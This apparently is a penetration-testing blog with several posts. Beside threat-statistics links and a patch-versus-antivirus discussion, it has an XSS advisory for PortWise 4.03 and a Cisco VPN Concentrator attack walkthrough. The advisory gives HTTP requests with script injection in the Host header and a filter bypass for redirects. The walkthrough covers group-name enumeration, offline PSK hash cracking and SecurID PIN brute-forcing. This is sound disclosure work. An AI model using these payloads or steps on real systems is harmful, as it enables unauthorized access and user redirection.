A few data points for assessing threats
I googled around and created a short list (I'm sure there are 1000s out there) of data points to help determine the "THESE THINGS" part:
My favorite resource:
From PrivacyRights.org, chronology of data breaches: http://www.privacyrights.org/ar/ChronDataBreaches.htm (probably the best resource because it doesn't restrict by type of threat)
Like above:
From Mailerblog.com, data loss viewer (viewer to attrition's database of data breaches): http://www.mailerblog.com/dataloss/dataloss.php
From PogoWasRight.org, collects information on data breaches: http://www.pogowasright.org/
The recent Visa USA press release: http://biz.yahoo.com/prnews/060915/dcf014.html?.v=3D64
A few network based threat stats:
From DShield.org, top ports for scanning: http://www.dshield.org/topports.php
From Incidents.org, survival time history: http://isc.incidents.org/survivalhistory.php?isc=4fcfc1652464f1b60c02afecb75d332aFrom Zone-h.org, attacks archive (defacements): http://www.zone-h.org/component/option,com_attacks/Itemid,44/
Virus specific:
From SecurityStats.com, virus related statistics: http://www.securitystats.com/virusstats.html
From F-Secure, virus statistics: http://www.f-secure.com/virus-info/statistics/
From McAfree, virus activity: http://vil.mcafee.com/mast/viruses_by_continent.asp?continent_k=0&track_by=1&period_id=1
From Symantec, threat explorer: http://www.symantec.com/enterprise/security_response/threatexplorer/threats.jsp
From Postini, StatTrack (including DHA/SPAM stats): http://www.postini.com/stats/
Insider snippets:
From Bruce Schneier, news summary: http://www.schneier.com/blog/archives/2005/12/insider_threat.html
Illicity Cyber Activity in the Banking and Finance Sectors, news summary: http://www.gcn.com/online/vol1_no1/27074-1.html
Reconnex threat stats: http://www.reconnex.net/Threat/
I can probably find a lot more statistics from combing CERT pages, but I stopped: http://www.cert-in.org.in/worldcert.htm
Cross Site Scripting possible in PortWise HTTP deamon
Abstract
During a penetration test, it was found that the PortWise HTTP deamon has a security flaw that allows Cross Site Scripting (CSS) on the default 404 page.
The affected version nr. is 4.03 (and presumably anything lower). Based on this research, PortWise has now issued a new version (4.04) that is confirmed not to be vulnerable.
Below is a very simple step-by-step of the vulnerability.
Details
If a normal HTTP GET request is sent to the server requesting a page that is not available, a standard 404 error page is returned.
However, if the GET request HOST attribute is modified like this:
GET /RandomPage.html HTTP/1.0
Connection: Close
Host: ANY DATA WRITTEN IN THE HOST FIELD WILL BE SHOWN HERE
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Pragma: no-cache
Cookie:
PortWise will return an error page where the host attribute contents are listed on the page. An example output is shown below:
This is important because it shows that the page will display whatever is written in the HOST field of the GET request. The next step is to try to include scripting code into the HOST field. The simplest form looks like this:
GET /RandomPage.html HTTP/1.0
Connection: Close
Host: <script>alert('XSS');</script>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Pragma: no-cache
Cookie:
This will give the following output:
This shows that we are able to execute script code through this exploit. An obvious next step would be to see if it is possible to run script code that will redirect the user away from the true website server to a server of our choice. The GET request would look like this:
GET /RandomPage.html HTTP/1.0
Connection: Close
Host: <script>window.location=”//www.thawte.com/”;</script>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;)
Pragma: no-cache
Cookie:
The reason the location is chosen to be “//www.thawte.com/” and not “http://www.thawte.com/” is that PortWise actually identifies attempts to use the phrase “http://” and disables such attempts. Because Internet Explorer is designed to translate “//” to “http://” it is easy to bypass this feature. One could have used all possible combinations and character sets such as hex and unicode as well to bypass this.
The redirection works as well, and will be completely transparent to the user. If the original page was on an HTTPS connection, it is a good idea to redirect to another HTTPS page since the user won’t be prompted to accept a switch between a secure and insecure site.
As it is seen, this is a very simple attack. However, based on the lack of input validation by PortWise, a full analysis of the PortWise system should be initiated in order to identify other potential input validation flaws in the system.
Conclusion
PortWise customers should upgrade to at least version 4.04.
Competing for network-based security assessments
We came up with a quick flow diagram to illustrate the differences in the level of effort between network-based security assessments. This has helped us tremendously with clients and with keeping the playing field level. It’s not complete or exact by any means, but it works.
We add some verbiage to help customers relate it to real world:
Sample attacker profile:
Basic: Attacker spending minimal effort; downloading free 'hacking' tools and running them with minimal attention
: A motivated attacker spending more time and resources with greater attention to detail and actively searching for a weakness
Advanced: A serious attacker with intent to harm or steal information assests
Security assurance profile:
Basic: Minimal; relies on a limited set of tools to discover weaknesses
: Good; relies on running many tools with overlapping functions, specialty tools, tuned for bandwidth and latency conditions, and includes manual investigation, validation, and research into findings
Advanced: Excellent; goes beyond Intermediate to prove the existence of vulnerabilities, includes checking non-public domains for the existence of 0-day exploits
Cisco VPN group name and password testing
Even though this is not a new attack, it seems that the patch from Cisco has not gained a lot of attention. (The patch is from May 2005).
The following is a walk through of how to exploit this vulnerability in order to gain access to a network through an unpatched Cisco VPN Concentrator.
It should be noted that only Concentrators configured to use group names instead of certificates are vulnerable to this attack.
Walk through
The primary reason for this vulnerability is the use of bad security practice from Cisco – letting the device respond differently to valid and invalid usernames.
The exploit is based on sending packets to the Concentrator (see a follow-up post about detecting VPN Concentrators using IKEscan) in order to initiate an IKE session.
If we do not provide a group name, the Concentrator will drop the packets (which is why it will not show up on a port scan). If we provide a wrong group name, the Concentrator drops the packets as well. But if we provide the right group name, the Concentrator responds with this:
<EXTERNAL IP> Aggressive Mode Handshake returned
HDR=(CKY-R=1234567890abcdef)
SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=XAUTH LifeType=Seconds Life
Duration=1500)
KeyExchange(128 bytes)
Nonce(20 bytes)
ID(Type=ID_IPV4_ADDR, Value=<INTERNAL IP>)
Hash(16 bytes)
VID=a0b9c8d7e6f5a4b3c2d1f0a9b8c7d6e5 (Cisco Unity)
VID=123455668b3b3888 (XAUTH)
VID=a0b9c8d7f6f5a4b3c3d1f0b9b8c7d6e5 (Dead Peer Detection)
VID=a0b9c8d7f6f5a4b3c3d1fa0b9c8d7f6f5a4b3c3 (IKE Fragmentation)
VID=a6b9c6b7f6b5a4b3c3d1f1b9b8c7d6e5
VID=f0c3d8b7f6f5a7c3c1e6f0c2d2d7f3e8 (Cisco VPN Concentrator)
Because of this, we can guess the group name, either by manually guessing or by doing a dictionary attack against the server. For this, IKEscan (http://www.nta-monitor.com/tools/ike-scan/) can be used.
Once the group name is obtained, the server can be forced to provide a HASH of the group name password in a modified MD5 format. Such a response from the IKE pre-shared key exchange with the Concentrator could look like this:
a60f86af35c2b771944ade9b2c5c3f5cc0a1fccee054184061202bf1c788be35999a5b3ea4b902ba209394b369060decfd1369f4f438b5721b597df859a529e71a2b530c555ddda7439c1c6c766a67b6817b9f14d40af8d365d07e4f8e56627bbb7d748361c05bb6dd562c92bfd873f6c1cf8a622ac7c79f8ca3e45516d4e8ea:77da26beecf8ecdc1eec2d8b46d4aecb6aff6bccdd943ad836fbdcd7af3dfd3a3b7f710a6619a84797d5ba9dbdf1cf80dcd1d8672c164983dc4798e96dc53d1f168701cc132a97855d1673984522625b368720625d782b2df62182a9eb377c72a5d01aa9765d072f347895dee4f11af172af3a706c636b97f376c5cc84a55831:0b79320bbb06bbbb:b0dd49295b043bfc:00000001000000010000009801010004030003240101000080010005800200028003000180140002800b0001000c00040000708003000240201000080010005800200018003000180040002800b0001000c0004000073480030000240301000080010001800200028003600180040002800b0001000c000403017080000000240401000080010001800200018003000180040002800b0001000c000400017080:121100000afe0617:c849c27485e3815eb786e1dd22ad028da3fab34d:5bdbd293c1d52d12b75dee547653269102acfcc8:564372d4715dd3e9ecf963571d4cb3a9
Once the hash is obtained, the password can be cracked offline using a dictionary, brute force, or rainbow table attack. A good program for this is Cain & Abel (www.oxid.it/cain.html). In the newest version this is integrated with Rainbow Crack Online (www.rainbowcrack-online.com), a subscription based rainbow crack service.
Now we have the group name and group name password. In a corporate environment the next step is the user authentication, normally based on some kind of token identification.
Let’s assume that a two-factor authentication system is in place for user authentication once the group name authentication is passed. If we assume that RSA SecurID tokens are used in their standard configuration, a 4 digit PIN and a 6 digit token code is used to authenticate the user. The username can most likely be obtained through the e-mail address or other means.
This means that the VPN access is now protected by a 4 digit PIN and 6 digit token code (combined also called a passcode). The token code will change every 60 seconds. However, because of time drifting, the window of opportunity for token codes is actually three minutes. That means that we need to crack the token code within 180 seconds.
If we assume the VPN server has a 100Mbit connection to the internet, we are able to try out approximately 2.3 million password combinations per minute. The token code represents 999.999 combinations. We can therefore try about 6 PINs per window (three minutes). With 9999 PIN codes this will take less than four days to complete. After that time we will be in possession of the PIN code of the user’s token as well as the group name and group password. We will still need to try up to 999.999 passcodes every time we wish to log on but this can be done within a minute (a mitigating factor here is that the RSA server can be set up to deny this sort of brute force attack).
It should be noted that this attack works on other systems than the Cisco Concentrator and that if authentication is based solely on usernames and passwords, what you are cracking and enumerating is not just group names and passwords, but actual end user names and passwords.
Conclusion
Nothing new – but as a pen tester, it is worth taking a shot at the VPN boxes out there. It seems that at least Cisco hasn’t been doing everything in their power to push these patches out to customers :)
Is it possible to prioritize the deployment of common security tools for most companies?
We found ourselves in a healthy debate recently over a question posed by a customer that went something like this:
What should be my top 5 things to do now to improve our security?
This was from a young startup that was about to receive their next stage of funding and desired to do “things right”. I started down the path of listing popular security tools:
Firewalls, IDS, Anti-Virus, Central Logging, Encryption, Patch Management, etc.
I was presuming we would be able to answer this question and have some agreement on which “security” tools would have a higher priority for deployment. I was wrong.
There are many different ways to answer this question and enough premises to fuel debate that you soon feel like you’re arguing in circles. As a group we haven’t formulated a consensus yet, but I feel there is a logical way to get there, at least for particular tools.
Let’s hypothetically say we had to choose between ‘patch management’ (i.e. keeping up on patches) and anti-virus.
Now the context I was trying to retain to answer this question was that of a CTO asking you while taking an elevator ride (i.e. need to be quick).
After some debate I ended up referencing my “threat modeling” docs. Unfortunately threat modeling must come before choosing anything – you need a threat profile before selecting solutions which mitigate threats. But that is not going to help us answer this question in 30 seconds.
Can we use threat modeling to make some general propositions about all companies with respect to choosing a particular security solution over another?
I think that should be possible.
In threat modeling parlance, the entry point is where an adversary can interface to the system. To keep this somewhat simple, let’s say we have two small networks with identical systems: same assets, same trust paradigm, and the same type environment you would typically see in a startup. So then, which security tools are better (or provide better value or reduce the risk the most, etc.)?
Let’s also presume for this exercise that we’re dealing with what most networks see most frequently – this in the context that most systems on the internet are constantly being scanned for open and vulnerable services by potential attackers. If we roll up, so to speak, the threats associated with how viruses propagate or how vulnerable services are found and exploited, then I think we can agree that not only is this an accurate statement about reality but also that both anti-virus and patch management solutions focus on mitigating this same threat (or set of threats). That is to say they both are designed to prevent the masses from these threats and they both fail at exception cases (e.g. 0day).
If the above holds true, then how can we use the risk equation to evaluate which is a better solution: patch management or anti-virus?
Risk = Threat x Vulnerability x Cost
In our scenario we have identical networks exposed to the same threats and have the same cost and vulnerability values. The real question is which solution lowers the threat vulnerability value.
I would argue that patch management reduces the risk more than anti-virus. This based on generally that patch management:
- Will reduce the number of attack vectors more than anti-virus
- Is subject to a higher frequency of attacks (i.e. vulnerable service scans and attacks happen more than virus propagation attacks). Also noting the observation that viruses typically proceed post vulnerability disclosure.
If the above assumptions are correct then we can say the company which successfully deployed a patch management solution has greater security strength. More so that most startups of the type that posed this question to us would be better served security wise to first deploy patch management.
Now the question is can we make some generalized statements that apply for most companies and create a list prioritizing security tools to deploy (within reason and allowing for variance).
Thoughts?
